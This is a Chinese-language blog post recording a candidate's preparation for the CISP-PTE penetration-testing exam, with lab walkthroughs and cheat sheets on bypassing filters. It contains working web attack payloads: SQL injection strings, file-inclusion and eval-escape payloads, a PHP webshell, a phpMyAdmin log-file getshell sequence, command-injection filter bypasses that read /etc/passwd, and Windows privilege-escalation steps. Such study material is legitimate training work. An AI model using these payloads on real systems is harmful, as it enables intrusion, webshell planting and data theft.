报培训班会在考试中会碰到原题,但不报班自考的话在搜集资料和总结知识点上将会耗费不少时间,而且会伴随着持续的不踏实和不稳妥。这篇文章记录了本人自学备考,成功通过的整个过程,希望对你有用。

备考规划及注意事项

考虑到零基础培训班7天就能速成,因此自考不报培训班,有基础的话同样一周,一天练习三个小时左右即可。主要通过练习各种Labs和公网上的模拟真题靶场,对必考知识点总结。

考试方式:机考,机器不能联网,使用给定的攻击机,工具少且老,够且仅够用。

熟悉题型:20个选择题(20分)+5个实操题(50分)+1个综合题(30分)

20个选择题考察面很广,几乎涵盖了知识体系大纲的所有知识点,多练习总结错题即可。

5个实操题每题一个key,题型及考察点:

  • SQL注入:报错、二次等,双写或space2comment绕过,load_file读key
  • 命令执行:ping执行,读取文件关键字替换、加无效字符绕过
  • 代码执行:php代码执行,闭合函数等操作,system函数读key
  • 文件包含:php伪协议,通常双写绕过,包含key读取base64内容
  • 文件上传:php马子,GIF89a文件头、其他后缀绕过
  • 权限绕过:Cookie鉴权绕过,权限修改为Admin即显示key
  • 日志审计:审攻击日志发现路径、账号密码、webshell密码等,访问获取key
  • XSS(几乎没有):弹Cookie,Cookie携带key

1个综合题目

  • key1通常是备份文件、弱口令等,直接web后台或数据库内得到key
  • key2通常是传木马拿shell,在网站根路径得到key
  • key3通常是拿主机administrator权限,在桌面得到key

满分100分,70分就能过,选择题控制在错10个以内,这样大题8个key拿到6个key就能过,1个SQL注入稍微麻烦一些答不出来可以选择放弃,其余的都应该拿下。

考试经验及靶场收集

考试经验分享

http://www.bw08.top/archives/cisp-pte

https://i4k.xyz/article/asd2588258/118796949

https://zgao.top/cisp-pte-%E6%B3%A8%E5%86%8C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B7%A5%E7%A8%8B%E5%B8%88%E8%80%83%E8%AF%95-%E6%80%BB%E7%BB%93%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/

https://blog.csdn.net/WangMingErYu/article/details/120716113

在线靶场

合集类

http://www.shifa23.com/ 靶场合集

https://ctf.ccut.club/ 综合靶场

http://81.68.155.178:81/ 综合靶场

http://111.229.158.19:9002/index.php PiKaQiu靶场 title="Get the pikachu"

sqli-libs

title="SQL Injections"

http://121.196.220.181:8080

upload-labs

title="upload-labs"

http://139.9.37.216:8080

考试情况记录(2022-11-09)

最终82分,一道权限绕过的key没做出来,错8个选择题。

选择题记不清了

实操题

题目1:SQL注入

随意注册一个邮箱账号登录,,进去发现有个管理员邮箱,注册一个admin@123.com"#,利用二次注入改管理者邮箱密码,进去管理员账号在删除文章处有报错注入,space2comment tamper绕过,load_file读key。

payload:python sqlmap.py -r req.txt --tamper space2comment --risk 3 --batch --file-read "/key"

题目2:文件包含

php://filter读key,php://双写绕过

payload:phphp://p://filter/read=convert.base64-encode/resource=../key.php

题目3:文件上传

GIF89a文件头绕过

题目4:代码执行

1
2
3
$a = $_GET["a"];
eval ("\$o=strtolower(\"$a\")");
echo $o;

闭合两个函数,注释掉末尾代码,在中间注入代码即可

payload:?a=123\")");systeminfo("cat ../key.php");//

题目5:权限绕过

试遍了所有方法,没做出来,一度怀疑题出错了。

综合题

常规思路,就是直接命令执行读key3没成功,因为key文件没在桌面,在回收站。

  • key1:扫目录,phpmyadmin弱口令,key在数据库写着
  • key2:数据库修改web系统admin密码md5,登入系统GIF89a绕过传php木马,网站根目录发现key2
  • key3:试图直接读桌面文件key,发现桌面一直为空,net user administrator Abc@123修改密码3389进去发现key在回收站

题目大多是一个套路,多练习即可。

模拟真题练习记录

fofa进行搜索body="CISP-PTE 认证考试"title="CISP-PTE"

SQL注入

SQL注入1:insert插入多行

要点:insert插入多行数据

image-20220811181322305

注册,登录进系统,登陆与注册处都未发现注入漏洞,在发表文章处提示过滤,注入应该在此处

image-20220811181805214

insert语句,四个字段:编号、标题、内容、作者

image-20220811190058032

使用insert语句注入,过滤了注释符,可利用插入多行注入

image-20220811192033538

image-20220811193759603

image-20220811193819342

可以多行插入数据

查表名

1
title=111&content=1','123'),('123',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'123

查列名

1
title=111&content=1','123'),('123',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users1'),'123

查数据

1
title=111&content=1','123'),('123',(select password from users1 limit 0,1),'123

image-20220811220639770

SQL注入2:二次注入

image-20221111010239756

随意注册用户,登录提示不是admin,注册一个admin'#账户

image-20221111010605601

修改密码,利用二次注入修改密码成功修改admin的密码,登录admin得到key

image-20221111010650405

文件上传

文件上传1:GIF89a头、大小写绕过

http://39.101.164.187:82

要点:GIF89a头绕过、eval大小写绕过

image-20220811221514071

尝试png头、jpg头都不行,gif89a头可以绕过文件头检测,eval关键字大小写绕过

image-20220811225430923

拿到shell

image-20220811225835495

文件上传2:GIF89a头、大小写绕过

要点:GIF89a头绕过、eval大小写绕过、文件命名遍历扫描

image-20220813175824532

上传测试,得到服务器保存文件提示

image-20220813174650001

根据提示,遍历所有可能的文件,得到结果http://150.158.27.164:2082/224a8e76193f98fccd84fa856bbc326a.php

image-20220813173238935

写读文件的system()代码,继续遍历,成功访问但是一直读不到key.php,/etc/passwd都可以读到,写shell连接发现key被删了

image-20220813175605491

文件包含

文件包含1:远程文件包含

要点:远程文件包含

image-20220811225937158

可远程文件包含

image-20220813110738426

写入文件,命令执行读取key.php,远程包含

1
<?php system("cat ../key.php");?>

image-20220813111051681

文件包含2:伪协议读文件

要点:伪协议读文件

image-20220813180737297

image-20220813180749313

可包含passwd

image-20220813180818170

伪协议直接读取key

1
?page=php://filter/read=convert.base64-encode/resource=../key.php

image-20220813214908785

文件包含3:preg_replace()函数

image-20220813221348659

访问view.html发现Hello参数,对preg_replace()函数/e模式可执行代码,对其base64解码,得到另一个参数z0

image-20220813221308115

image-20220813221532918

phpinfo(); base64编码传参,成功执行

image-20220813220240062

system()函数读取key,payload:

1
Hello=1&z0=c3lzdGVtKCJjYXQgLi4va2V5LnBocCIpOw==

image-20220813221057086

文件包含4:远程文件包含

要点:远程文件包含

image-20220814152034299

远程包含读文件

1
<?php system("cat ../key.php");?>

image-20220814151810364

反序列化

image-20220813163421709

image-20220813163433589

直接对$PTE = "CISP-PTE";序列化,传参即可

image-20220813163539869

失效的访问控制

cookie越权

image-20220813163633289

默认用户Guest,cookie有两个参数:IsAdmin和Username

image-20220813164249142

改IsAdmin为true,Username为Admin的base64编码即可

image-20220813164526737

命令执行

命令执行1:系统命令\转义绕过

要点:关键字过滤绕过

image-20220813225440741

ping功能,管道符+id可执行

1
127.0.0.1 && id

测试发现存在以下过滤:

  • 读文件cat、more、tac、less、head、uniq都被过滤,sort没被过滤
  • 同时php关键字被过滤,sort可读取passwd,但读不了key.php

以上过滤均可使用转义符绕过,payload:

1
127.0.0.1 && ca\t ../key.ph\p

image-20220813225951660

日志审计

image-20220821165236786

筛选攻击ip 响应为200的日志,得到后台地址/adminlogin.php

image-20220821165151023

爆破账号密码进入系统得到key

image-20220821165023359

综合题 1⭐

做这道题题之前不知道不能使用自己的工具,不能联网,也没熟悉PTE综合题的做题套路,导致做法独特,不适用考试,真正考试的做法应该是:

  • key1:扫目录备份文件得到数据库普通账户,登录发现web系统admin账号密码,进入web系统得到key1
  • key2:web系统上传文件获取webshel,web目录下发现key2
  • key3:web目录网站配置文件中得到数据库sa账号密码,xp_cmdshell执行命令可连3389,也可直接dir找key文件

Key1:备份文件泄露

搭建好环境,扫端口发现1433 SQLServer、27689 web,SQLServer爆破未成功

image-20220821165524853

主页没东西,扫目录发现web.config.bak,泄露数据库账号密码

image-20220821165645009

MDUT连接,用户无权限执行命令,Navicat连接,发现账号密码,疑似web系统

image-20220821165653899

robots.txt发现目录但是无法访问,提示环境有问题

1
2
3
/Default.aspx
/admin/
/upfile/

image-20220821165749173

搜索报错得到解决办法

1
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis -i -enable

运行安装asp.net,成功启动系统

image-20220821165825289

继续,利用数据库里的账号密码admin/asdadwn_d2112进入系统,获得第一个key

Key2:上传截断绕过

进入系统,存在上传点,

image-20220821170002429

后缀采用白名单,可上传txt、jpg,内容无检测,使用特殊符号%00、:等截断成功,但是文件并未写入:

image-20220821170010004

在报错中发现了物理路径:D:\web\upfile\affix\637966191285153802-123.aspx

看到文件管理页面的文件说明:
注意:文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名,请上传的文件名称不要过长,为您带来的不便,敬请谅解。

利用系统的文件名截断,上传测试文件,发现重命名时除去时间和-连接符,还剩13个字符,因此只需要将上传的合法后缀文件名长度输入在13个以上,同时13个字符是.aspx结尾,即可上传并截取显示:

image-20220821170051174

再利用泄露的地址,拼接访问即可

image-20220821170058718

没问题,上传马子,在d盘下发现key2

1
for /r d:\ %i in (frp*) do @echo %i

image-20220821170119839

Key3

MS09-012提权

mimikatz抓密码失败,信息搜集后尝试提权,最终利用MS09-012提权至system权限,并在C盘桌面发现key3
https://github.com/lyshark/Windows-exploits/blob/master/MS09-012.zip

image-20220821170308262

简写绕过目录中的空格(前六位+~1),读取key

1
pr.exe "type c:\Docume~1\Administrator\桌面\key.txt"

image-20220821170315680

SQLServer提权

web目录下发现配置文件的备份,找到数据库sa用户密码,MDUT连接 xp_cmd获取system权限,执行命令查看key3

image-20220821170348613

key3:4d9d3q8v

综合题2⭐

key1:phpmyadmin弱口令

扫端口发现80是dedecms,试弱口令没登进去

image-20221111012335518

扫目录发现phpmyadmin,root/root登录系统,修改dedecms后台admin密码,md5值前五后七去除即可,登入后台

image-20221111013342188

按理key1在这儿,但是怀疑环境的问题没发现key1

key2:后台文件管理

文件管理处浏览网站根路径,发现key2

image-20221111013510574

key3

上传木马获取shell

后台有文件管理功能,直接写入一个php wenshell

image-20221111013950540

image-20221111014050841

由于当前就是administrator权限,通过dir、for查找找到key文件,type读取即可

image-20221111014437916

image-20221111014504522

phpmyadmin获取shell

phpmyadmin有root权限,可利用日志写入php小马,直接提权到os shell

1
2
3
4
show variables like "%general%";
set global general_log="on";
set global general_log_file="c:\\phpstudy\\www\\log.php";
select "<?php @eval($_REQUEST['cmd']);?>";

image-20221111014957296

image-20221111014924458

接下来的操作同上

知识点总结

总结和记录一些必考点和自己反复记不清的知识点

RCE绕过总结

通常RCE发生在ping或traceroute中,命令函数为system()、exec()、shell_exec()、popen()等

Linux命令执行以ping为例,绕过主要考察以下知识点:

可使用管道符拼接执行任意命令,可用的管道符:

1
& && | || 

绕过关键字过滤,假如cat被过滤,绕过方式如下:

关键字绕过之命令替换

以下可用于读取文件内容的命令

1
2
3
4
5
6
7
8
9
10
11
12
more:一页一页的显示档案内容
less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容,不加选项默认输出八进制
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

关键字绕过之无效字符填充

可使用空白字符、转义字符、单双引号等对关键字进行填充

1
2
3
4
5
6
7
8
9
10
11
12
13
转义符
ca\t flag.txt
c\a\\t flag.txt

单引号
c''at flag.txt

双引号
c""a""t flag.txt

shell特殊变量,$1$9$@和$*等
c$3a$6$@t flas.txt

空格过滤绕过

可以用制表符%09、Linux分隔符${IFS}

各种绕过方式可以结合使用:

1
127.0.0.1|m$@o""r''e${IFS}%09/e''tc/p$8$1a\s\sw""""d

image-20221008023316306

浅谈命令执行的绕过方法-安全客 - 安全资讯平台

https://zhuanlan.zhihu.com/p/391439312

服务器解析漏洞

解析漏洞

IIS 5.x/6.0解析漏洞

在IIS5.X和IIS6.0版本中存在以下两个解析漏洞。

(1)目录解析漏洞

在网站中建立名字为*.asp、*.asa的文件夹,其目录内的任何扩展名文件都会被IIS当做ASP文件来解析并执行。

例如:创建一个目录test.asp,那么/test.asp/1.jpg将被当做ASP文件来执行。

/xx.asp/xx.jpg

(2)文件解析漏洞

网站上传图片的时候,如果将网页木马文件的名字改成*.asp;1.jpg,分号后面的不被解析,也就是说,*.asp;1.jpg会被服务器看成是*.asp,就可以绕过服务器禁止上传ASP文件的限制,这样的畸形文件也同样会被IIS当做ASP文件来解析并执行。

例如:上传一个图片文件名为test.asp;1.jpg的木马文件,该文件可以被当做ASP文件解析并执行。

在IIS6.0版本中,默认可执行文件除了test.asp以外,还包括test.asa、test.cer、test.cdx这三种,同样也存在解析漏洞。

  1. test.asp;1.jpg
  2. test.asa;1.jpg
  3. test.cer;1.jpg
  4. test.cdx;1.jpg

IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

IIS 7.0/IIS 7.5/ Nginx <8.03在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

在某些使用有漏洞的网站中,访问http://127.0.0.1/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。

这就意味着攻击者可以上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell,在使用菜刀链接即可。

1.jpg/1.php

Nginx <8.03 空字节代码执行漏洞

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。

例如:http://127.0.0.1/1.jpg%00.php会把1.jpg文件(木马文件)当做PHP文件来执行。

xxx.jpg%00.php

Apache解析漏洞

在Apache 1.x和Apache 2.x中也存在解析漏洞。

例如:1.php.rar会被当作php文件执行。

Apache在解析文件时有一个原则:按照识别“.”后的扩展名来解析,当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止。

例如:1.php.aa.bb.cc

1.php.aa.bb.cc

会先解析cc,若cc不存在则解析bb,bb不存在则解析aa,aa不存在则只能解析PHP了。如果解析完还没有碰到可以解析的扩展名,就会暴露源文件。

这种方法可以绕过基于黑名单的检查。(如网站限制,不允许上传后缀名为PHP、ASP、ASA等的文件)

php伪协议

用法汇总:

1853528-20191106132336991-1666925658

常用的是php://filter、php://input、data://三个

php种伪协议的用法

phpmyadmin getshell

1
2
3
4
show variables like "%general%";
set global general_log="on";
set global general_log_file="c:\\phpstudy\\www\\log.php";
select "<?php @eval($_REQUEST['cmd']);?>";

自定义日志文件时需要写入根路径,获取根路径可以查询@@datadir@@basedir,根据数据库的位置猜测网站根目录,通常是xampp、phpstudy等。

选择题错题记录

常错的几道题

1、base64()函数在mysql中可以使用的最低版本什么?

  • A . 5.4版本
  • B . 5.5版本
  • C . 5.6版本
  • D . 5.7版本

MySQL在5.6版本的时候增加了to_base64和from_base64函数,在此之前没有内部函数,只能使用User-Defined-Function

2、以下哪个PHP版本环境可能存在0x00截断

  • A . 5.2
  • B . 5.3
  • C . 5.4
  • D . 5.5

3、会话固定形成的原因,正确的是

  • A . 会话ID暴露在URL里
  • B . 用户身份验证凭证没有使用哈希或加密保护
  • C . 成功注册后,会话ID没有轮转
  • D . 以上都是

4、关于DOM xss和寻常xss下面说法正确的是

  • A . DOM xss是服务端代码造成的而寻常xss不是
  • B . DOM xss不是服务端代码造成的而寻常xss是
  • C . 两者都是服务端代码造成的
  • D . 两者都不是服务端代码造成的

5、默认情况下,windows的哪个版本可以抓取到LM hash

  • A . windows XP
  • B . windows Vista
  • C . windows 7
  • D . windows server 2008

6、下面哪个是administrator用户的SID

  • A . S-1-5-21-3698344474-843673033-3679835876-100
  • B . S-1-5-21-3698344474-843673033-3679835876-500
  • C . S-1-5-21-3698344474-843673033-3679835876-1000
  • D . S-1-5-21-3698344474-843673033-3679835876-1001

7、oracle 10g中的默认用户中权限最高的是

  • A . sys
  • B . system
  • C . sysman
  • D . internal

8、下面不属于sql注入的危害的是

  • A . 数据库信息泄漏
  • B . 获取会话信息
  • C . 破坏硬盘数据
  • D . 网页篡改